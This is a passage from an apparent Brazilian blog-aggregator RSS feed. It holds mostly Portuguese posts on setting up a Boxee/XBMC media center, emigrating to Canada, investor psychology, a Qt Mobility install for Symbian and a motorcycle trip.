&lt;p&gt;O sistema operacional da máquina é o &lt;a href=&quot;http://www.ubuntu.com&quot;&gt;Ubuntu Netbook Remix&lt;/a&gt;. É uma instalação padrão: não me dei ao trabalho de remover nenhum componente do sistema operacional, que vai ocupar cerca de 2.5 GB de espaço no HD. É possível usar sua distribuição Linux favorita ou até mesmo o Windows, já que os softwares de Media Center mais interessantes que encontrei são multiplataforma.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Boxee: o media center social&lt;br /&gt;
&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/03/BoxeeHomeScreen1.png&quot; rel=&quot;lightbox[777]&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/03/BoxeeHomeScreen1-150x150.png&quot; title=&quot;Tela inicial do Boxee&quot; height=&quot;150&quot; width=&quot;150&quot; alt=&quot;&quot; class=&quot;alignright size-thumbnail wp-image-782&quot; /&gt;&lt;/a&gt;O primeiro que experimentei foi o &lt;a href=&quot;http://www.boxee.tv&quot;&gt;Boxee&lt;/a&gt;, que é gratuito e roda no Windows, Linux, Macs e até na Apple TV, o “media center” da Apple. A instalação é muito simples (basta baixar e instalar o pacote no site oficial), e a configuração também: basta indicar onde estão seus vídeos e músicas e o programa começa a indexar tudo automaticamente.&lt;/p&gt;
&lt;p&gt;Um dos destaques do Boxee é seu aspecto “social”. Ao instalar o programa, você cria um usuário e automaticamente se registra em uma espécie de rede social. É possível recomendar programas para outros usuários e receber recomendações. Também há o que os desenvolvedores chamam de “apps”, que integram serviços web (como o Flickr, vídeos da Wired ou o podcast do Engadget) com seu Media Center.&lt;/p&gt;
&lt;p&gt;O Boxee também usa sua conexão à internet para obter metadados sobre seus arquivos e organizar automaticamente sua coleção. Acesse a categoria “Movies”, por exemplo, e você vai ver que seus filmes ganharam automaticamente uma capinha do DVD, nota, sinopse e ficha completa (gênero, ano, elenco, etc). O mesmo acontece com séries. Ele faz isso consultando o site IMDB.com (um dos principais sites sobre cinema na rede), com base em informações já existentes como o nome do arquivo (processo que explico isso mais adiante).&lt;/p&gt;
&lt;p&gt;Infelizmente, é justamente nesse processo de “catalogação” de seus arquivos que o Boxee derrapa. Ele se recusou a reconhecer vários filmes em minha coleção, ao mesmo tempo em que identificava erroneamente outros. Chegou a ser engraçado: ele confundiu &lt;em&gt;Quantum of Solace&lt;/em&gt; com &lt;em&gt;Kung Fu Panda&lt;/em&gt;, e &lt;em&gt;Anjos &amp;amp; Demônios&lt;/em&gt; com &lt;em&gt;O Virgem de 40 anos&lt;/em&gt;. E quando removi &lt;em&gt;Anjos &amp;amp; Demônios&lt;/em&gt; da coleção, ele insistiu: desta vez ele dizia que &lt;em&gt;Hocus Pocus&lt;/em&gt; era &lt;em&gt;O Virgem de 40 anos&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Além disso, a busca automática por novos arquivos se mostrou falha: frequentemente fui forçado a pedir uma nova varredura da pasta com vídeos, e os resultados só apareciam na lista após eu reiniciar o programa. Por fim vários dos arquivos que estavam em minha coleção, mesmo nomeados de acordo com a convenção recomendada pelos desenvolvedores, não apareceram nas listas de filmes ou séries. Hora de um Plano B.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;XBMC: belo e flexível&lt;br /&gt;
&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/03/screenshot001.jpg&quot; rel=&quot;lightbox[777]&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/03/screenshot001-150x150.jpg&quot; title=&quot;Detalhes de um filme no XBMC&quot; height=&quot;150&quot; width=&quot;150&quot; alt=&quot;&quot; class=&quot;alignright size-thumbnail wp-image-783&quot; /&gt;&lt;/a&gt;O &lt;a href=&quot;http://www.xbmc.org&quot;&gt;XBMC&lt;/a&gt; (XBox Media Center) começou como um Media Center para o primeiro XBox, mas com o tempo se tornou um software multiplataforma: roda em Windows, Linux, Macs, Apple TV e até como um “Live CD” com uma distribuição Linux minimalista. Também é gratuito. O Boxee, na verdade, é baseado no XBMC (o que fica evidente ao configurar os dois) com alguns extras (como os componentes de midia social e “apps”).&lt;/p&gt;
&lt;p&gt;A instalação no Ubuntu 9.10 foi bastante simples, bastou digitar os quatro comandos listados no &lt;a href=&quot;http://wiki.xbmc.org/?title=HOW-TO_install_XBMC_for_Linux_on_Ubuntu_with_a_minimal_installation_step-by-step&quot;&gt;Wiki oficial&lt;/a&gt;. Depois, fiz uma pequena modificação: habilitei o login automático no sistema e adicionei o XBMC à inicialização do Netbook Remix. Assim, quando ligo o micro o Media Center entra automaticamente.&lt;/p&gt;
&lt;p&gt;Também configurei um cliente BitTorrent (Transmission) para iniciar automaticamente, minimizado, junto com o XBMC e ativei sua interface web. Desta forma posso adicionar arquivos à fila de downloads a partir de qualquer micro da casa, eles caem automaticamente na pasta de Videos e já ficam disponíveis no XBMC.&lt;/p&gt;
&lt;p&gt;Dentro do XBMC, adicionei minha pasta de vídeos como uma “media source” (&lt;em&gt;Videos -&amp;gt; Add Source&lt;/em&gt;) e a mágica começou: sozinho, o programa começou a baixar informações completas sobre todos os filmes. Além de vídeos, também é possível adicionar links para “video podcasts”. Não é meio óbvio, mas é fácil: vá em &lt;em&gt;Videos -&amp;gt; Add Source&lt;/em&gt; e em vez de apontar para uma pasta digite a URL do Feed, com o prefixo rss:// em vez de http:// (algo como rss://www.nomedosite.com/feeds/feed.xml). Os episódios aparecerão no menu Videos, organizados pelo nome do feed, junto com o restante do conteúdo de sua biblioteca.&lt;/p&gt;
&lt;p&gt;Uma diferença em relação ao Boxee: o XBMC usa diferentes fontes de informação para filmes e séries, e você pode escolher qual delas será a padrão. Não houve filmes identificados de forma errada, e praticamente tudo o que estava na minha pasta apareceu nas listagens. Além das capinhas para cada filme o XBMC baixa sinopse, ficha técnica, informações completas sobre o elenco (com direito a fotos dos atores) e “fanart”, que ele usa como “papel de parede” quando você passa o cursor do mouse sobre o nome do filme na biblioteca.&lt;/p&gt;
&lt;p&gt;Este é outro ponto forte do XBMC, a personalização. O tema padrão (&lt;a href=&quot;http://xbmc.org/skins/confluence/&quot;&gt;Confluence&lt;/a&gt;) já é bastante atranete, mas dá para deixar seu Media Center ainda mais impressionante usando outros temas como &lt;a href=&quot;http://www.aeonproject.com/gallery.html&quot;&gt;Aeon&lt;/a&gt; ou o &lt;a href=&quot;http://www.teamrazorfish.co.uk/gallery.html&quot;&gt;MediaStream&lt;/a&gt;. Além disso, há plugins e scripts que podem ser usados para ampliar a capacidade do programa. Coisas como download automático de legendas, exibição de notícias e tudo mais.&lt;/p&gt;
&lt;div style=&quot;width: 310px;&quot; id=&quot;attachment_784&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/03/aeon_multiplextv.jpg&quot; rel=&quot;lightbox[777]&quot;&gt;&lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-content/uploads/2010/03/aeon_multiplextv-300x168.jpg&quot; title=&quot;Detalhes de uma série na skin &amp;quot;Aeon&amp;quot; do XBMC&quot; height=&quot;168&quot; width=&quot;300&quot; alt=&quot;&quot; class=&quot;size-medium wp-image-784&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Detalhes de uma série na skin &quot;Aeon&quot; do XBMC&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Dando nomes ao bois&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Para baixar automaticamente informações sobre filmes e séries, tanto o XBMC quanto o Boxee usam o nome do arquivo como ponto de partida para a busca. Ou seja, se um arquivo tiver o nome xyzblabla321.avi nenhum deles vai saber do que se trata, e o arquivo não vai aparecer na biblioteca.&lt;/p&gt;
&lt;p&gt;Felizmente, os nomes não precisam ser coisa do outro mundo. Por exemplo, se o arquivo se chama “Star.Trek.(2009).avi” ambos os programas vão saber que o nome do filme é Star Trek e que o ano de produção é 2009, e com isso conseguirão encontrar o restante das informações online.&lt;/p&gt;
&lt;p&gt;Mesma coisa para séries: The.Big.Bang.Theory.S01E04.avi é o quarto episódio (E04) da primeira temporada (S01) de “The Big Bang Theory”. A partir daí fica fácil para os programas determinar o nome do episódio, sinopse, elenco, data original de exibição e afins.&lt;/p&gt;
&lt;p&gt;O site do Boxee tem uma &lt;a href=&quot;http://forum.boxee.tv/showthread.php?t=5214&quot;&gt;página&lt;/a&gt; explicando a convenção de nomes utilizada, e o XBMC funciona da mesma forma. Felizmente, a maioria dos filmes e séries baixados da internet já vem com os nomes no formato correto, então o usuário (eu e você) não precisa se preocupar com isso.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Corta!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No geral, levei um fim de semana para montar meu Media Center (contando com experiências com múltiplos softwares, tempo para pesquisas na internet, para copiar arquivos espalhados em HDs e DVDs, etc), com um custo razoável: cerca de R$ 700 pelo hardware, e absolutamente zero pelo software. Quem tiver disposição para bater pernas e pesquisar pode gastar ainda menos.&lt;/p&gt;
&lt;p&gt;O benefício é claro quando você está em casa num dia chuvoso e bate aquela vontade de ver um filme: ter toda a coleção em um só lugar, impecavelmente organizada, e ainda poder assistir na maior tela da casa, confortavelmente deitado no sofá, é sensacional. E ainda ganhei pontos com a esposa &lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-includes/images/smilies/icon_wink.gif&quot; alt=&quot;;)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;</description>
	<pubDate>Tue, 02 Mar 2010 00:54:09 +0000</pubDate>
</item>
<item>
	<title>Renata: See you in Canada!</title>
	<guid>http://renata.org/?p=1210</guid>
	<link>http://renata.org/post/see-you-in-canada/</link>
	<description>&lt;p&gt;Malas fechadas, passaportes na mão, casa vazia. Estou só esperando a administradora do apartamento para entregar as chaves, pegar o táxi e ir para Guarulhos. &lt;/p&gt;
&lt;p&gt;Foi bom estar com vocês, pessoal. Mas acordarei em Toronto :) &lt;/p&gt;</description>
	<pubDate>Mon, 01 Mar 2010 17:07:06 +0000</pubDate>
</item>
<item>
	<title>Bogdano: Assaltado novamente</title>
	<guid>tag:blogger.com,1999:blog-10952109.post-1543524483609844493</guid>
	<link>http://blogdano.blogspot.com/2009/10/assaltado-novamente.html</link>
	<description>Mais um ponto no mapa:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;small&gt;Visualizar &lt;a style=&quot;color: #0000FF; text-align: left;&quot; href=&quot;http://maps.google.com/maps/ms?ie=UTF8&amp;amp;hl=pt-BR&amp;amp;msa=0&amp;amp;msid=112633135633304110579.00045f2de267509c4dfa6&amp;amp;ll=-25.432879,-49.261097&amp;amp;spn=0.000639,0.005214&amp;amp;t=h&amp;amp;iwloc=000474e92f0648251e1cf&amp;amp;source=embed&quot;&gt;Assaltos&lt;/a&gt; em um mapa maior&lt;/small&gt;&lt;br /&gt;&lt;br /&gt;Mais um w200 desapropriado.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/10952109-1543524483609844493?l=blogdano.blogspot.com&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Mon, 01 Mar 2010 11:38:55 +0000</pubDate>
</item>
<item>
	<title>FZero: Things things things</title>
	<guid>http://www.geradorzero.com/?p=246</guid>
	<link>http://www.geradorzero.com/2010/02/27/things-things-things/</link>
	<description>&lt;p&gt;It’s funny how we grow attached to certain things, even when it doesn’t make any sense rationally.&lt;/p&gt;

&lt;p&gt;I’m moving from Brazil to Canada this monday and &lt;a href=&quot;http://renata.org&quot;&gt;we&lt;/a&gt; decided to travel as light as possible. This means, among many other things, that we’re not taking CDs, DVDs and books that we can easily buy again. This also meant I had to get rid of them in some way, so I packed ‘em all and went to a thrift store nearby.&lt;/p&gt;

&lt;p&gt;Mind you that most CDs were &lt;em&gt;already&lt;/em&gt; packed, since I had them all ripped (the worthy ones, that is) until last week. So I’m not losing anything besides a bunch of plastic and printed paper, right?&lt;/p&gt;

&lt;p&gt;So why did I cry like a baby when I started taking the boxes out?&lt;/p&gt;

&lt;p&gt;I looked at the spines with their recognizable arts and automatically started to remember how I felt when I listened to each CD until the laser practically bore a hole through it. I remembered my friends in college, the days when I was playing with my band almost every week in Rio, the moment I decided to move out of my parents’ house, assorted fights with ex-girlfriends and all that cheesy stuff.&lt;/p&gt;

&lt;p&gt;But it’s just plastic! You still have the music! Stop crying, you fool!&lt;/p&gt;

&lt;p&gt;I wonder if downloads, with all their convenience, can create this kind of attachment. The truth is that people my age still see music as something you had to pay money for – which more often than not meant some kind of sacrifice for a broken student like I was.&lt;/p&gt;

&lt;p&gt;I’m in no way saying we must go back to LPs or that downloads are evil (&lt;a href=&quot;http://www.geradorzero.com/about&quot;&gt;far from that!&lt;/a&gt;). What I’m saying is I’m an old fart who still has the pavlovian conditioning to get emotional when I separate myself from a piece of plastic that not only contains, but &lt;strong&gt;represents&lt;/strong&gt; the music I used to listen to.&lt;/p&gt;

&lt;p&gt;See you in Toronto. Stay classy!&lt;/p&gt;</description>
	<pubDate>Sat, 27 Feb 2010 23:42:07 +0000</pubDate>
</item>
<item>
	<title>Epx: [Pecados do investidor] #3: Jogar para empatar em vez de jogar para ganhar</title>
	<guid>tag:blogger.com,1999:blog-36718727.post-4922996021825080866</guid>
	<link>http://finance.epx.com.br/2010/02/pecados-do-investidor-3-jogar-para.html</link>
	<description>Uma característica marcante do ser humano é o &quot;sunk cost&quot;, ou seja, a tendência de queimar vela cara com defunto barato; investir mais em alguma empreitada perdedora, unicamente porque ela já absorveu um monte de recursos, e parece de alguma forma errado, ou &quot;fica feio&quot; simplesmente jogar a toalha e tentar uma coisa nova.&lt;br /&gt;&lt;br /&gt;Este padrão é observável em todos os níveis de organização humana, desde individuais até empresas e governos. É uma coisa entremeada na nossa mente, ninguém está livre deste sentimento. É mais um daqueles instintos que garantem a sobrevivência da espécie (talvez seja bom um pai investir no filho mesmo que lhe pareça inútil), mas puxam o nosso tapete quando vestimos o chapéu de investidor.&lt;br /&gt;&lt;br /&gt;O &quot;sunk cost&quot; impede o investidor de realizar perdas enquanto elas ainda são pequenas. O sentimento emerge, e é racionalizado como esperança. &quot;Amanhã vai subir, tem de subir&quot;. Mas continua caindo. E ainda assim resistimos em realizar a perda, pois seria nosso atestado de burrice estampado no extrato da conta da corretora. É melhor deixar como está, pois as ações sempre se recuperam um dia. E o investidor, assim pensando, dorme tranquilo.&lt;br /&gt;&lt;br /&gt;Se este investidor tinha comprado papéis de boas empresas, realmente é provável que as ações acabem recuperando-se, e um belo dia a carteira do nosso herói entra em território positivo. Aí... &lt;br /&gt;&lt;br /&gt;Aí ele deixa de dormir bem, começa a preocupar-se, com medo de perder aquele lucrinho. E vende tudo. Aí as ações continuam subindo, mas ele consola-se com os bordões aplicáveis: &quot;lucro bom é lucro no bolso&quot;; &quot;sempre realize cedo demais&quot;.&lt;br /&gt;&lt;br /&gt;Até que a cobiça faça este investidor comprar novamente as mesmas ações, geralmente no pico do mercado, e aí elas começam a cair... &lt;br /&gt;&lt;br /&gt;Uma variante desse padrão de comportamento é o cara que segue o bom conselho de diversificar a carteira. XPTO sobe 1%, e Merposa cai 5%. Aí ele vende XPTO porque &quot;lucro bom é lucro no bolso&quot;, enquanto deixa Merposa cair até a metade do valor de compra.&lt;br /&gt;&lt;br /&gt;É curiosíssimo como o ser humano pode suportar a adversidade, mas lide mal com o sucesso. E isto faz as pessoas jogarem para empatar, para não perder, em vez de&lt;span style=&quot;font-weight: bold;&quot;&gt; jogar para ganhar&lt;/span&gt;. E nenhum de nós escapa a esta tendência. Atire a primeira pedra quem nunca realizou lucro de 1% (vendo o papel subir mais 9% logo em seguida, sem você) ou segurou uma ação decididamente perdedora na carteira.&lt;br /&gt;&lt;br /&gt;E esta é a forma mais segura de nunca ganhar dinheiro, pois expõe o investidor a perdas ilimitadas, enquanto limita os ganhos, fazendo a média geral cair em território negativo. Ouso dizer que é mais danoso realizar lucros cedo demais do que deixar-se anestesiar na baixa; pois se o sujeito simplesmente deixasse a carteira em paz em qualquer situação, seria respeitado como adepto do &quot;buy-and-hold&quot;. Mas ele não deixa; tendo sido exposto a quedas de 50%, ele trata de realizar aquele ganho de 4% logo, e se acha esperto.&lt;br /&gt;&lt;br /&gt;Neste aspecto, operar opções é muito diferente de operar ações; não se pode buscar consolo no &quot;buy-and-hold&quot;, já que as opções expiram. Se houver perdas, elas fatalmente serão realizadas. É muito difícil lidar com isso.&lt;br /&gt;&lt;br /&gt;Por exemplo, suponha uma trava de baixa pode trazer lucro máximo de R$ 1000 ou prejuízo máximo de 1000. Pode apostar que a possibilidade de sofrer este prejuízo vai lhe incomodar *muito* mais do que a possibilidade da sua carteira de ações cair 15% amanhã. Talvez você até fique contente se o mercado cair 15%, já que sua trava de baixa sairá no lucro!&lt;br /&gt;&lt;br /&gt;No fim, são tudo instâncias do medo de perder. E o medo de perder nos leva a jogar para empatar -- o que é uma grande perda de tempo em se tratando de finanças. Mas jogar para empatar é uma coisa profundamente enraizada no ser humano. &lt;br /&gt;&lt;br /&gt;Dizem que as mulheres preferem homens comprometidos e/ou promíscuos porque de alguma forma eles já foram &quot;testados e aprovados&quot;. Talvez seja um algoritmo aceitável para achar um bom reprodutor, mas certamente é péssimo para achar um bom marido. Ganha num lado, perde no outro -- é jogar para empatar e receita de infelicidade.&lt;br /&gt;&lt;br /&gt;Mas adivinhe só: nós os investidores, em sua maioria do sexo masculino, fazem a mesmíssima coisa em relação a ações da Bolsa. Compramos quando estão caras e na moda, rejeitamos quando estão baratas e fora de moda.&lt;br /&gt;&lt;br /&gt;E sabe o que é mais terrível? Até mesmo os analistas, que deveriam ver mais longe, deixam-se levar igualzinho! Minha corretora dá acesso a determinado site de análise fundamentalista, que estava recomendando compra de Vale e Petrobrás em meados de 2008 (quando estavam no pico), mas desaconselhando-as logo após a grande queda do fim de 2008. Agora que Vale e Petro estão de novo a caminho do topo histórico, a recomendação é novamente de compra.&lt;br /&gt;&lt;br /&gt;E assim, quem segue conselhos de tal analista, compra Vale a R$ 50, vende a R$ 20, e agora recompra a R$ 40.&lt;br /&gt;&lt;br /&gt;No seu famoso livro &quot;The Intelligent Investor&quot;, Benjamin Graham faz uma afirmação que sozinha vale o preço do livro: &lt;span style=&quot;font-style: italic;&quot;&gt;quando a ação cai, seu risco também cai.&lt;/span&gt; É tão óbvio, de uma simplicidade infantil, mas nosso cérebro reptiliano não enxerga isso sem ajuda externa.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/36718727-4922996021825080866?l=finance.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Sat, 27 Feb 2010 00:51:44 +0000</pubDate>
</item>
<item>
	<title>Leo Boiko: Patriarchy and men</title>
	<guid>http://namakajiri.net/diary/?p=626</guid>
	<link>http://namakajiri.net/diary/patriarchy-and-men/en/</link>
	<description>&lt;p&gt;Delighfully manifestoistic text by Nancy R. Smith:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;For every woman who is tired of acting weak when she knows she is strong, there is a man who is tired of appearing strong when he feels vulnerable.&lt;/p&gt;
  
  &lt;p&gt;For every woman who is tired of acting dumb, there is a man who is burdened with the constant expectation of “knowing everything.”&lt;/p&gt;
  
  &lt;p&gt;For every woman who is tired of being called “an emotional female,” there is a man who is denied the right to weep and to be gentle.&lt;/p&gt;
  
  &lt;p&gt;For every woman who is called unfeminine when she competes, there is a man for whom competition is the only way to prove his masculinity.&lt;/p&gt;
  
  &lt;p&gt;For every woman who is tired of being a sex object, there is a man who must worry about his potency.&lt;/p&gt;
  
  &lt;p&gt;For every woman who feels “tied down” by her children, there is a man who is denied the full pleasures of shared parenthood.&lt;/p&gt;
  
  &lt;p&gt;For every woman who is denied meaningful employment or equal pay, there is a man who must bear full financial responsibility for another human being.&lt;/p&gt;
  
  &lt;p&gt;For every woman who was not taught the intricacies of an automobile, there is a man who was not taught the satisfactions of cooking.&lt;/p&gt;
  
  &lt;p&gt;For every woman who takes a step toward her own liberation, there is a man who finds the way to freedom has been made a little easier.&lt;/p&gt;
&lt;/blockquote&gt;</description>
	<pubDate>Sat, 27 Feb 2010 00:02:11 +0000</pubDate>
</item>
<item>
	<title>Eugeni: Msec summary screen</title>
	<guid>http://dodonov.net/blog/?p=734</guid>
	<link>http://dodonov.net/blog/2010/02/26/msec-summary-screen/</link>
	<description>&lt;p&gt;One of the most asked features for msec was to provide a “summary” screen, which could show the current state of system security to the user without making him go through all the possible security options and system tools.&lt;/p&gt;

&lt;p&gt;Since today, this features was added to &lt;strong&gt;msecgui&lt;/strong&gt;, showing the summary for three of the most important parts of system security: the &lt;strong&gt;firewall&lt;/strong&gt; status, &lt;strong&gt;security&lt;/strong&gt; overview and status of &lt;strong&gt;system updates&lt;/strong&gt;.&lt;/p&gt;

&lt;div style=&quot;width: 310px;&quot; id=&quot;attachment_735&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://dodonov.net/blog/wp-content/uploads/2010/02/msec_summary.jpg&quot;&gt;&lt;img src=&quot;http://dodonov.net/blog/wp-content/uploads/2010/02/msec_summary-300x190.jpg&quot; title=&quot;msec_summary&quot; height=&quot;190&quot; width=&quot;300&quot; alt=&quot;&quot; class=&quot;size-medium wp-image-735&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Summary screen for msec&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;Of course, we all know that it is cooker version, and it is by no means final point on the UI design and functionalities &lt;img src=&quot;http://dodonov.net/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; . And, as usual, comments are more than welcome!&lt;/p&gt;</description>
	<pubDate>Fri, 26 Feb 2010 16:38:51 +0000</pubDate>
</item>
<item>
	<title>Renata: Últimos dias</title>
	<guid>http://renata.org/?p=1206</guid>
	<link>http://renata.org/post/ultimos-dias/</link>
	<description>&lt;p&gt;Depois que você marca a passagem, sua vida vira uma loucura. Não existe uma palavra melhor que “insanidade” para definir meu último mês no Brasil e, sinceramente, não sei como as pessoas fazem mudanças para o exterior sem coisas como Google Calendar ou Dropbox. Perdi muitas horas da minha vida, muitas horas MESMO em filas de bancos e serviços públicos variados, andando de um lado para o outro no calor infernal do verão de São Paulo (quem disse que em São Paulo não faz calor????), pegando o Metrô da Sé na hora do rush – coisa que certamente não sentirei falta nessa vida. &lt;/p&gt;
&lt;div style=&quot;width: 386px;&quot; id=&quot;attachment_1207&quot; class=&quot;wp-caption alignright&quot;&gt;&lt;a href=&quot;http://renata.org/wp-content/uploads/2010/02/metro_se_luizfavre.jpeg&quot;&gt;&lt;img src=&quot;http://renata.org/wp-content/uploads/2010/02/metro_se_luizfavre.jpeg&quot; title=&quot;Metro_Se&quot; height=&quot;344&quot; width=&quot;376&quot; alt=&quot;Metrô Sé - by Luiz Favre&quot; class=&quot;size-full wp-image-1207&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Metro Sé LOTADO&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Hoje também levei uma tarde inteira em Guarulhos, ao lado do aeroporto, para emitir uma única folha de papel, que é a guia necessária para viajar com os gatos. Juro para vocês que na cabeça de qualquer ser humano tal guia poderia ser emitida pela internet, se os papéis necessários fossem scanneados. Poderia ser tudo mais simples. Mas obviamente toda a burocracia é necessária e você passa a sua VIDA INTEIRA na fila, e depois ainda encara um incrível engarrafamento às margens plácidas do Tietê. Eu não devo ser Brasileira, pois eu desisti e, segunda à noite, ESTOU DE PARTIDA PARA A NEVE. &lt;/p&gt;
&lt;p&gt;Tchau, calor. Tchau aglomeração. O Canadá inteiro tem 34 milhões de habitantes, enquanto só o Estado de São Paulo 41 milhões. &lt;/p&gt;
&lt;p&gt;Agora, me falta a burocracia de lá. :)&lt;/p&gt;</description>
	<pubDate>Fri, 26 Feb 2010 00:23:30 +0000</pubDate>
</item>
<item>
	<title>Danilo: QtMobility Project, ou desenvolvendo para Symbian no Linux</title>
	<guid>http://www.danilocesar.com/blog/?p=206</guid>
	<link>http://www.danilocesar.com/blog/2010/02/25/qtmobility-project-ou-desenvolvendo-para-symbian-no-linux/</link>
	<description>&lt;p&gt;Como nem só de &lt;del datetime=&quot;2010-02-25T18:15:55+00:00&quot;&gt;Maemo&lt;/del&gt; Meego vive o homem, então é hora de iniciar projetos com Symbian.&lt;/p&gt;
&lt;p&gt;O fato de sermos usuários Linux não nos afasta mais deste objetivo. O colega &lt;a href=&quot;http://lizardo.wordpress.com&quot;&gt;Lizardo&lt;/a&gt;, não muito feliz com a dependência do Janelas, &lt;a href=&quot;http://lizardo.wordpress.com/2010/02/18/installing-qt-for-symbian-sdk-4-6-2-on-linux/&quot;&gt;adaptou com sucesso&lt;/a&gt; o famigerado &lt;a href=&quot;http://www.martin.st/symbian/&quot;&gt;GNUPOC&lt;/a&gt; para funcionar com o Qt 4.6.X, dando-nos assim um ambiente &lt;del datetime=&quot;2010-02-25T18:15:55+00:00&quot;&gt;agradável&lt;/del&gt; de desenvolvimento Qt/Symbian no Linux.&lt;/p&gt;
&lt;p&gt;Graças a ele temos qmake, QGraphicsView e QCoisas funcionando da mesma forma como funcionavam no desktop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;E as APIs específicas como GPS, sensores e rede?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A idéia do Qt everywhere inclui abstrair a API não tão bonita do symbian e maemo (e outros) para uma única API Qt.&lt;/p&gt;
&lt;p&gt;Seguindo este princípio lançaram, dia 15/02, um pacote beta do &lt;a href=&quot;http://qt.nokia.com/developer/new-qt-apis&quot;&gt;Qt-Mobility Project&lt;/a&gt;, com classes Qt para sensores, GPS, contatos e etc.&lt;/p&gt;
&lt;p&gt;A instalação é simples mas, para &lt;a href=&quot;http://lizardo.wordpress.com/2010/02/18/installing-qt-for-symbian-sdk-4-6-2-on-linux/&quot;&gt;quem seguiu os passos do Lizardo&lt;/a&gt;, basta utilizar este &lt;a href=&quot;http://labs.danilocesar.com/files/qt-mobility-install.sh&quot;&gt;script&lt;/a&gt; e passar o diretório onde o download do &lt;a href=&quot;http://get.qt.nokia.com/qt/solutions/qt-mobility-symbian-1.0.0-beta1.zip&quot;&gt;pacote&lt;/a&gt; foi feito:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;qt-mobility-install.sh &amp;lt;directory&amp;gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*Observação&lt;/strong&gt;: Não esqueça de setar as variáveis de ambiente $EPOCROOT e $PATH, de forma que o qmake utilizado seja o da instalação para S60&lt;/p&gt;</description>
	<pubDate>Thu, 25 Feb 2010 19:27:10 +0000</pubDate>
</item>
<item>
	<title>Stulzer: Passeio de Moto até a Colônia Witmarsum</title>
	<guid>http://stulzer.net/blog/?p=748</guid>
	<link>http://feedproxy.google.com/~r/EmpiricalEmpire/~3/kW2Io9I3yag/</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/BbGuxua0Z7_J3eb8PI7F8MDEL08/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/BbGuxua0Z7_J3eb8PI7F8MDEL08/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/BbGuxua0Z7_J3eb8PI7F8MDEL08/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/BbGuxua0Z7_J3eb8PI7F8MDEL08/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://lh5.ggpht.com/_HnlSJlJumDk/S4GnLqoxJvI/AAAAAAAADZI/PJNXJ8RmYgo/s800/DSCN2783.JPG&quot; title=&quot;Eu e a Bel no passeio de moto até a Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Neste domingo fizemos um passeio de moto até a Colônia Witmarsum, que fica a 60km de Curitiba. Fomos com o &lt;a href=&quot;http://pedaleiro.com&quot;&gt;Renato Pedaleiro&lt;/a&gt; e a sua namorada, a Patrícia. Engraçado que já pedalei algumas vezes com o Renato mas não sabia que ele tinha moto. Pelo seu &lt;a href=&quot;http://twitter.com/pedaleiro&quot;&gt;twitter&lt;/a&gt; descobri e acabamos marcando o passeio.&lt;span id=&quot;more-748&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh6.ggpht.com/_HnlSJlJumDk/S4Gn3KF8J1I/AAAAAAAADZM/b_aMMydORoU/s800/DSCN2788.JPG&quot; title=&quot;De moto indo até a Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
